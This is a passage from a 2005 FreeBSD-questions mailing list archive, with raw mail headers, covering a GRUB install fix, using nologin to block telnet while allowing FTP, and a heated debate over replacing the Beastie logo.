(GMT) Received: from nic.upatras.gr (nic.upatras.gr [150.140.129.30]) by mx1.FreeBSD.org (Postfix) with SMTP id 8E0D343D2D for ; Thu, 10 Feb 2005 19:50:29 +0000 (GMT) (envelope-from ltsampros@upnet.gr) Received: (qmail 28816 invoked by uid 111); 10 Feb 2005 19:50:28 -0000 Received: from ltsampros@upnet.gr by nic.upatras.gr by uid 103 with qmail-scanner-1.22 ( Clear:RC:1(150.140.129.26):. Processed in 0.063761 secs); 10 Feb 2005 19:50:28 -0000 Received: from cormorant.upnet.gr (150.140.129.26) by nic.upatras.gr with SMTP; 10 Feb 2005 19:50:27 -0000 Received: (qmail 3751 invoked from network); 10 Feb 2005 19:51:00 -0000 Received: from upnet-dialupb-140.upnet.gr (HELO bifteki.home.net) ([150.140.131.140]) (envelope-sender ) by cormorant.upnet.gr (qmail-ldap-1.03) with SMTP for ; 10 Feb 2005 19:51:00 -0000 Received: from bifteki.home.net (bifteki [127.0.0.1]) by bifteki.home.net (8.13.1/8.13.1) with ESMTP id j1AJrIk6000635; Thu, 10 Feb 2005 21:53:18 +0200 (EET) (envelope-from gaghiel@bifteki.home.net) Received: (from gaghiel@localhost) by bifteki.home.net (8.13.1/8.13.1/Submit) id j1AJrIc8000634; Thu, 10 Feb 2005 21:53:18 +0200 (EET) (envelope-from gaghiel) Date: Thu, 10 Feb 2005 21:53:18 +0200 From: Leonidas Tsampros To: Rakhesh Sasidharan Message-ID: <20050210195318.GA615@bifteki.home.net> References: <20050210033154.GA5672@bifteki.home.net> <420B6A8E.70408@rakhesh.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <420B6A8E.70408@rakhesh.com> User-Agent: Mutt/1.4.2.1i cc: freebsd-questions@freebsd.org Subject: [SOLVED]Re: Error 29: Disk write error while installing GRUB X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 19:50:33 -0000 On Thu, Feb 10, 2005 at 06:07:10PM +0400, Rakhesh Sasidharan wrote: > I did a brief check on the net, and it seems to be bug that has been > fixed. What version of GRUB are you using? The bug was that GRUB wasn't > mounting the disks read-write. > > Alternatively, maybe you want to make a GRUB boot disk, and then try > installing from that? > I am using grub 0.95. This was exactly my point as I don't own a floppy drive. Anyway the solution i found after some searching was to use grub-install /dev/hda instead of using the grub cli. Anyway grub-install worked just fine :) Thank you for your time. Leonidas Tsabros From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 19:51:55 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 021E616A4CE for ; Thu, 10 Feb 2005 19:51:55 +0000 (GMT) Received: from out007.verizon.net (out007pub.verizon.net [206.46.170.107]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7C14E43D2F for ; Thu, 10 Feb 2005 19:51:54 +0000 (GMT) (envelope-from leblanc@keyslapper.org) Received: from keyslapper.org ([68.163.189.143]) by out007.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050210195152.ICXZ11919.out007.verizon.net@keyslapper.org> for ; Thu, 10 Feb 2005 13:51:52 -0600 Received: from localhost (localhost [127.0.0.1]) by keyslapper.org (Postfix) with ESMTP id 6E9A211A54 for ; Thu, 10 Feb 2005 14:51:51 -0500 (EST) Received: from keyslapper.org ([127.0.0.1]) by localhost (keyslapper.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 14812-05 for ; Thu, 10 Feb 2005 14:51:43 -0500 (EST) Received: by keyslapper.org (Postfix, from userid 1001) id B1A4F11949; Thu, 10 Feb 2005 14:51:43 -0500 (EST) Date: Thu, 10 Feb 2005 14:51:43 -0500 From: Louis LeBlanc To: freebsd-questions@freebsd.org Message-ID: <20050210195143.GB22874@keyslapper.net> Mail-Followup-To: freebsd-questions@freebsd.org References: <200502092223.01650.algould@datawok.com> <1905317067.20050210103050@wanadoo.fr> <20050210155900.GD89175@keyslapper.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="5mCyUwZo2JvN/JJP" Content-Disposition: inline In-Reply-To: X-PGP-Key: http://www.keyslapper.net/~leblanc/leblanc-at-keyslapper-net.asc User-Agent: Mutt/1.5.7i X-Virus-Scanned: amavisd-new at keyslapper.net X-Authentication-Info: Submitted using SMTP AUTH at out007.verizon.net from [68.163.189.143] at Thu, 10 Feb 2005 13:51:52 -0600 Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 19:51:55 -0000 --5mCyUwZo2JvN/JJP Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On 02/10/05 02:26 PM, Garance A Drosehn sat at the `puter and typed: > At 10:59 AM -0500 2/10/05, Louis LeBlanc wrote: > > > > > > Logos need to be as neutral as possible, since they will be > > > very widely used and very heavily imprinted in customers' > > > minds. They must not conjure up thoughts of anything except > > > the brand they represent. > > > >Neutrality is purely objective in this case (and many others). > >Uninformed neutrality can be highly inflammatory. Beastie is only > >considered inflammatory to those uninformed fundamentalists who > >haven't been satisfied beating down every other freedom in this > >country and need someone or something else to pick on. Next > >they'll be burning books and witches again. >=20 > It is interesting that I constantly hear "FreeBSD MUST have the > Beastie as the only logo for FreeBSD. We MUST NOT even consider > any other logo -- because if we consider ANY other logo, we will > be close-minded!". I don't remember ever being accused of close mindedness. Being open or closed minded has nothing to do with this. The issue of replacing Beastie has come up in the past, and in my opinion, the reasons have always been all wrong. I, along with a lot of other members of the community feel strongly enough about it to voice our opinions every time this comes up. > So, there is one-and-only-one valid logo for FreeBSD, and that > is because FreeBSD is so very open-minded? The logo is what it is. It has been the logo, and Beastie himself the mascot, since long before I started using FreeBSD, and is considerd by many to be an integral part of FreeBSDs identity. Granted, changing a logo isn't always a bad thing, but doing it for the wrong reasons is. It is my not so humble opinion that changing your identity to suit an overly sensitive vocal minority is always the wrong reason. On that I'm afraid maybe I am close minded. > Note that the contest is just to see what logos people can come > up with. It's not like we are demanding that the logo must have > angels in it, or a picture of some other religious figure. > Nothing more than "Let's see what ideas people can come up with". Now, you see, mentioning angels is really a good point. The problem I have there is that angels are strictly a modern religious symbol. Daemons are not. At least not with anything anyone considers a modern religion - it's more widely associated with an ancient mythos, but the concept is relevant to the OS, and that's the thing about Beastie that makes him perfect for FreeBSD. Demons are modern religious symbols, Devils are, the cross used by christians is. It's not reasonable to suppress something *outside* your system of beliefs just because something negative *within* your system of beliefs is based on it. That's what I see happening, and why I'm vehemently and vocally opposed to the change. If there were a *reasonable* basis for changing, I would be in favor of the proposed change. Sadly, but in favor nonetheless. The "business" reasons mentioned are not sound given the fact that there are *real* devils used as mascots and logos in the food, sports, and other industries. The issue of religious sensibilities is plain ridiculous, given that Beastie is completely unrelated to the (mythos'/faiths/religions) those objections are based on. As I said, next they'll be burning books and witches again. Lou --=20 Louis LeBlanc FreeBSD-at-keyslapper-DOT-net Fully Funded Hobbyist, KeySlapper Extrordinaire :) Please send off-list email to: leblanc at keyslapper d.t net Key fingerprint =3D C5E7 4762 F071 CE3B ED51 4FB8 AF85 A2FE 80C8 D9A2 share, n.: To give in, endure humiliation. --5mCyUwZo2JvN/JJP Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCC7tPr4Wi/oDI2aIRAnjmAJ9QeNo0TxgHJzu62EzmciGMo5MEXgCfQ7gA hFQCxW7rgvvZDQ40SPcE3WE= =f1rn -----END PGP SIGNATURE----- --5mCyUwZo2JvN/JJP-- From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 19:55:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AA16E16A4CE for ; Thu, 10 Feb 2005 19:55:34 +0000 (GMT) Received: from xmail.cityofpaloalto.org (cerberus.city.palo-alto.ca.us [199.33.32.254]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6C22543D31 for ; Thu, 10 Feb 2005 19:55:34 +0000 (GMT) (envelope-from Viraj.Dixit@CityofPaloAlto.org) Received: from cc-mail.cityofpaloalto.org ([172.17.1.1]) by xmail.cityofpaloalto.org with Microsoft SMTPSVC(6.0.3790.211); Thu, 10 Feb 2005 11:55:34 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Thu, 10 Feb 2005 11:55:32 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Telnet and FTP issues on 5.3 thread-index: AcUPoEqV0OCtYEY2TpmzJXTjZ0NUMAAChd3g From: "Dixit, Viraj" To: "Dan Nelson" X-OriginalArrivalTime: 10 Feb 2005 19:55:34.0385 (UTC) FILETIME=[7BAEFE10:01C50FAA] cc: freebsd-questions@freebsd.org Subject: RE: Telnet and FTP issues on 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 19:55:34 -0000 Thanks so much Dan, this works great. I appreciate your help.=20 VJ -----Original Message----- From: Dan Nelson [mailto:dnelson@allantgroup.com]=20 Sent: Thursday, February 10, 2005 10:42 AM To: Dixit, Viraj Cc: freebsd-questions@freebsd.org Subject: Re: Telnet and FTP issues on 5.3 In the last episode (Feb 10), Dixit, Viraj said: > I have been searching for few days everywhere an answer to this > question. Is there a way to stop telnet access for a group let's say > ftponly but allow them to have FTP access in FreeBSD 5.3. I know this > works in my old system BSD OS 4.3. The commands are like this in > login.conf file in BSD OS 4.3. >=20 > #restrict telnet for ftponly group only > ftponly:\ > :auth-network=3Dreject:\ > :auth-ftp=3Dpasswd: One way to do this is to set the user's shell to /usr/sbin/nologin and add /usr/sbin/nologin to the /etc/shells file. They won't be able to telnet or ssh in, but they will be able to ftp. --=20 Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 20:06:41 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8917F16A4CE for ; Thu, 10 Feb 2005 20:06:41 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4325D43D39 for ; Thu, 10 Feb 2005 20:06:41 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id A54781C000B0 for ; Thu, 10 Feb 2005 21:06:40 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 81A341C000A8 for ; Thu, 10 Feb 2005 21:06:40 +0100 (CET) X-ME-UUID: 20050210200640531.81A341C000A8@mwinf1104.wanadoo.fr Date: Thu, 10 Feb 2005 21:06:39 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <771446868.20050210210639@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <420B6D42.9090203@tvog.net> References: <200502092223.01650.algould@datawok.com> <1905317067.20050210103050@wanadoo.fr> <894943359.20050210150947@wanadoo.fr> <420B6D42.9090203@tvog.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 20:06:41 -0000 Frank Laszlo writes: > you are all looking at a web graphic. Allready rendered as process > colors. Its impossible to say how many "printing plates" its on. Process is always four plates, except for the rare hexachrome offset, which is six plates. Spot colors require one plate per color. Two-color jobs are pretty economical, which is why you see so much two-color work. > But that graphic could easily be a spot color print job, Which I think > by today's standards is acceptable. I don't know what you mean by this. > And I believe you stated a logo should be free of "screens" You only > need 1 plate to do a screen, so this is also irrelevent. Screens cause a problem when you reduce a logo to small sizes, as there are limits on the line frequency you can use for screens, and if the screen is too coarse for a tiny graphic, it will look really bad. So it's best to avoid screens altogether. Worse yet is having multiple screens on several plates, in which case you have to worry about registration issues, and the screens usually have to be much more coarse, which again causes problems for small sizes. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 20:10:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 90B2216A4CE for ; Thu, 10 Feb 2005 20:10:10 +0000 (GMT) Received: from 9.hellooperator.net (cpc3-cdif2-3-0-cust202.cdif.cable.ntl.com [81.103.32.202]) by mx1.FreeBSD.org (Postfix) with ESMTP id 25B7C43D41 for ; Thu, 10 Feb 2005 20:10:10 +0000 (GMT) (envelope-from rasputnik@hellooperator.net) Received: from [10.4.0.5] (helo=eris.tenfour) by 9.hellooperator.net with esmtp (Exim 4.43) id 1CzKda-00019c-33 for freebsd-questions@freebsd.org; Thu, 10 Feb 2005 20:10:08 +0000 Received: from rasputnik by eris.tenfour with local (Exim 4.44 (FreeBSD)) id 1CzKdZ-000CnL-Lj for freebsd-questions@freebsd.org; Thu, 10 Feb 2005 20:10:05 +0000 Date: Thu, 10 Feb 2005 20:10:05 +0000 From: Dick Davies To: FreeBSD Questions Message-ID: <20050210201005.GB35853@eris.tenfour> References: <20050210055117.GA96699@keyslapper.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Dick Davies List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 20:10:10 -0000 * Ted Mittelstaedt [0255 08:55]: > Yep, I was wondering how long it would take before someone figured > this one out. We know the real rea$on$ that this logo change is > being contemplated, don't we. You seem to think you do, certainly. Why don't you ask core instead of reading their minds? -- 'A little rudeness and disrespect can elevate a meaningless interaction into a battle of wills and add drama to an otherwise dull day.' -- Calvin discovers Usenet Rasputin :: Jack of All Trades - Master of Nuns From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 20:11:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6B20716A4CE for ; Thu, 10 Feb 2005 20:11:26 +0000 (GMT) Received: from web53907.mail.yahoo.com (web53907.mail.yahoo.com [206.190.36.217]) by mx1.FreeBSD.org (Postfix) with SMTP id AEF8543D53 for ; Thu, 10 Feb 2005 20:11:25 +0000 (GMT) (envelope-from stheg_olloydson@yahoo.com) Received: (qmail 56160 invoked by uid 60001); 10 Feb 2005 20:11:25 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=JSy2bIQyAkxk2B534p5p35NtdnA5x8ZR1ptOiH/1ddTAsVO5YgtaoP7e37nZKawhyE6GZY3Lf8JZU8omKf4cbHdH846TmwUPIE/pjrGAjzLn2J3PUmDCQQg8ghDkQyzdMmlcI5W2ADfDg8qbuy2bw2rrbqUNuKFuz3usQwQdK9I= ; Message-ID: <20050210201125.56158.qmail@web53907.mail.yahoo.com> Received: from [68.210.34.46] by web53907.mail.yahoo.com via HTTP; Thu, 10 Feb 2005 12:11:24 PST Date: Thu, 10 Feb 2005 12:11:24 -0800 (PST) From: stheg olloydson To: robdem@worldnet.att.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD logo design competition X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 20:11:26 -0000 it was said: > As a non-Christian, all I have to say to David is "right on." Sounds like you're another person who, for reasons that you know better than I, you seem to have taken my remarks as a personal attack. >I also like Beastie, and would be greatly annoyed if FreeBSD got >rid of it. Political correctness sucks -- whatever side of the >political spectrum it comes from. Agreed to a point, the point being WHY beastie is replaced or, in newspeak, "supplemented". If beastie were being "supplemented" as a routine matter of business as logos sometimes are, I wouldn't be annoyed, only disappointed. However, as you point out, beastie is being replaced in a capitulation to what you mischaracterize as "political correctness". This is a case of theological correctness; politics doesn't enter into the discussion. What I said is that those who complained about beastie belong to a brand of religious ideology belonging to an irrational minority and as such they and their complaints should be ignored. > However, so-called "free thinkers" who bravely equate George Bush >to Iranian mullahs and believe people who have a problem with ripping >the heads off of nine-month fetuses are no different than the freaking >Taliban are the same idiots who buy into Michael Moore's conspiracy >theories, idolize the mass murderer Che Guevara, and think the CIA >"assassinated" reggae singers because America was about to chill out >too much. I don't believe I mentioned anything about Bush, Iran, fetuses, Michael Moore, Che Guevara, or the CIA. Please keep to the discussion at hand if you're not irrational. > And, oh yes, I am also a Maryland Republican living in painfully >liberal Montgomery County, where our great progressive government >leaders, unlike the Talibanesque John Ashcroft, have banned smoking in >bars, not to mention a flurry of others pieces of legislation that >regulate people's private lives. Sounds like you are unhappy with your local government. I would register and vote them out of office if I were you. That's how a representative democracy works. > And let's not forget, Stheg, that leftist European governments are >not known for their great libertarian restraint. The anti-terrorism >laws of many European nationsthink France, maybe Holland soon enough) >make the Patriot Act look like something out of Mayberry. Now I'm really puzzled. Are you saying that you are moving to Europe to get away from "painfully liberal Montgomery County"? I don't think you'll like it there after the novelty wears off. Compared to most of America, it's cold and expensive. Perhaps you, like Mr. Johnson, are assuming from my name that I am not American and are making a "Europeans are worse than Americans" argument. Once again, your words do more to prove than disprove my "xenophobia" remark. > Know thyselves, hypocrites. Fundies aren't the only ones that need >to mind their own business. Based on this statement, I infer you are calling people against religious oppression hypocrites, an interesting but contextually irrelevant remark. Unless you mean to imply that I personally am a hypocrite. If that is the case, adduce the statements I have made to make your case. You go on to say "Fundies" -and others- need to mind their own business. The problem here is the "Fundies" (your word, not mine) aren't minding their own business; they're minding ours! Also at issue is the way the decision to "supplement" beastie was made. Apparently, "the FreeBSD Project" thinks sneaking around and handing out a _fait accompli_ is the proper way to be "professional" in this community. As a member of this community, I AM minding my own business by taking "them" to task for a rather base betrayal of trust. > Did I mention I like Beastie?) Good for you. Then you, too, should be against "supplementing" beastie for the same reason I am. > > Rob. Best regards, Stheg __________________________________ Do you Yahoo!? All your favorites on one personal page – Try My Yahoo! http://my.yahoo.com From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 20:21:43 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A66C816A4CF for ; Thu, 10 Feb 2005 20:21:43 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.207]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2B0CF43D1D for ; Thu, 10 Feb 2005 20:21:43 +0000 (GMT) (envelope-from jcapote@gmail.com) Received: by wproxy.gmail.com with SMTP id 69so186757wra for ; Thu, 10 Feb 2005 12:21:42 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:subject:from:to:cc:in-reply-to:references:content-type:date:message-id:mime-version:x-mailer:content-transfer-encoding; b=EeCOuuROrV7SsfumrMrDdse6DdSCEaCOV2E2Gz8CLuYFSgRxZkOtB50Yo3NW3XikIHUXvnpygqZPCiC/Ij14SP2ez0V+LHRbJwx3adkUxKoLPs4RmXJGggLoja/kVeD3fZEOdyBLwW+9jasUsSQ3ZtLVEgrE1Fq1Z3ciMBb6bHA= Received: by 10.54.23.34 with SMTP id 34mr26232wrw; Thu, 10 Feb 2005 12:21:37 -0800 (PST) Received: from localhost.localdomain ([65.10.15.61]) by smtp.gmail.com with ESMTP id 65sm7291wra.2005.02.10.12.21.37; Thu, 10 Feb 2005 12:21:37 -0800 (PST) From: Julio Capote To: freebsd-questions@freebsd.org In-Reply-To: <299713472.20050210210055@wanadoo.fr> References: <200502091349.00708.algould@datawok.com> <1709665858.20050210101217@wanadoo.fr> <20050210114338.B30327@one.thequestion.net> <299713472.20050210210055@wanadoo.fr> Content-Type: text/plain Date: Thu, 10 Feb 2005 15:24:04 -0500 Message-Id: <1108067044.658.12.camel@hatter.wonderland.dn> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit cc: freebsd-advocacy@freebsd.org Subject: Re: Logo Contest X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 20:21:43 -0000 Untrue, I know a NUMBER of emerging graphic artists, who would kill for this kind of exposure, and are much better than any commercialized firm I've seen. On Thu, 2005-02-10 at 21:00 +0100, Anthony Atkielski wrote: > Dave Wood writes: > > > Once the contest is offically launched, how do people feel about inviting > > a bunch of professional logo design companies to participate. The $500 > > prize won't convince them to partake, but the vast exposure almost > > certainly will. > > No, it won't. FreeBSD is small potatoes, and no design firm is going to > give away its work (which essentially tells clients that its work is > worthless). The old "the publicity is worth more than a fee" argument > is laughed at by serious graphic artists. > From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 20:25:35 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EBB1416A4CE for ; Thu, 10 Feb 2005 20:25:34 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 63C4F43D3F for ; Thu, 10 Feb 2005 20:25:34 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (unknown [127.0.0.1]) by mwinf1106.wanadoo.fr (SMTP Server) with ESMTP id 99C3C1C000A2 for ; Thu, 10 Feb 2005 21:25:33 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1106.wanadoo.fr (SMTP Server) with ESMTP id 598511C00096 for ; Thu, 10 Feb 2005 21:25:33 +0100 (CET) X-ME-UUID: 20050210202533366.598511C00096@mwinf1106.wanadoo.fr Date: Thu, 10 Feb 2005 21:25:32 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1531112695.20050210212532@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <20050210155900.GD89175@keyslapper.net> References: <200502092223.01650.algould@datawok.com> <20050210155900.GD89175@keyslapper.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 20:25:35 -0000 Louis LeBlanc writes: > Neutrality is purely objective in this case (and many others). > Uninformed neutrality can be highly inflammatory. Beastie is only > considered inflammatory to those uninformed fundamentalists who > haven't been satisfied beating down every other freedom in this > country and need someone or something else to pick on. They are potential customers. One of them is even President. > I'm afraid I don't care for it. It's just an example. > The heart is a bit hokey, and, as already mentioned by Ted, if you > ditch that and make an honest to goodness daemon tail, it'll stand > half a chance to be adopted in some degree by the community. If you put an obvious demon tail in the logo, some customers may object. Others may say nothing but might be put off by the image. > Those technical criteria were NOT drawn out in community fashion. They don't have to be. The technical criteria are imposed by the real world of printing and display technologies. These are the criteria that must be met if you want to print and display with good results and at a reasonable price. It doesn't matter what the "community" thinks in this case. > That bit about not offending anyone is bullshit plain and simple. I > for one think this whole PC movement is bull. Don't get me wrong, I'm > all for peoples right to live their lives, but the PC movement should > have died exactly two days after it started. You're entitled to your opinion, but it's not likely to help the spread of FreeBSD. > Doesn't someone else own that font? Typefaces are not protected in that way. You can use any typeface you want for anything. The only protected aspects of typefaces are making copies of the actual font files (which are considered software and are protected by copyright), and using the _name_ of the typeface without authorization (making another typeface and calling it the same thing). The actual outlines themselves can be used in anything. In order to prevent the potential problem of embedding fonts in the EPS file, I converted them to outlines before saving the file. > And this is still wrong. As mentioned at least one million times on > this very list in the years I've been here, it's NOT a devil. It's a > daemon. Now the fundies have the FreeBSD community using the wrong > word. Nothing prevents you from designing your own logo and presenting it to everyone else. Then you can get it right. > And for the record, those sneakers don't mean anything like a toy. > They are for speed. Fine, but are you prepared to explain that in detail to each and every potential corporate user? > If you can find something that is still historically significant, > doesn't use text (as mentioned by Ted, text logos are BORING) ... As I've said, logos don't have to be interesting, they just have to be memorable. Text logos are everywhere around us. > I have only one reason to keep Beastie that has anything to do with > the fact that I just plain like him. And that's the reason. I just > plain like Beastie. I have *lots* of reasons I think Beastie should > stay that have nothing whatsoever to do with that fact. I'm sure I'm > not the only one. Interesting. I couldn't care less what the mascot or symbol of FreeBSD might be. The only thing that interests me is the software. I use quite a few software products that have really bad logos, I think (I'm not sure because I don't look at the logos very much). -- Anthony From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 20:27:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EF98516A4CE for ; Thu, 10 Feb 2005 20:27:29 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id ADAE643D41 for ; Thu, 10 Feb 2005 20:27:29 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id E2A1C1C000A4 for ; Thu, 10 Feb 2005 21:27:28 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id A632D1C0008B for ; Thu, 10 Feb 2005 21:27:28 +0100 (CET) X-ME-UUID: 20050210202728680.A632D1C0008B@mwinf1108.wanadoo.fr Date: Thu, 10 Feb 2005 21:27:28 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <752761759.20050210212728@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <20050210163630.GF89175@keyslapper.net> References: <200502091349.00708.algould@datawok.com> <1054192109.20050210101652@wanadoo.fr> <420B6081.30206@pacific.net.sg> <1108044195.5517.74.camel@localhost.localdomain> <20050210163630.GF89175@keyslapper.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Logo Contest X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 20:27:30 -0000 Louis LeBlanc writes: > No, I don't think this is about printing. Anything that is about logos is also about printing. > I can almost guarantee that if this was for nothing more than a > printing cleanup, none of this hype would be happening. I can almost guarantee that if everyone involved took a magic drug that eliminated testosterone, a new logo would be agreed upon in a day or so. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 20:28:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1212516A4CE for ; Thu, 10 Feb 2005 20:28:56 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id C4F1C43D1F for ; Thu, 10 Feb 2005 20:28:55 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (unknown [127.0.0.1]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id 0962F1C000A7 for ; Thu, 10 Feb 2005 21:28:55 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by 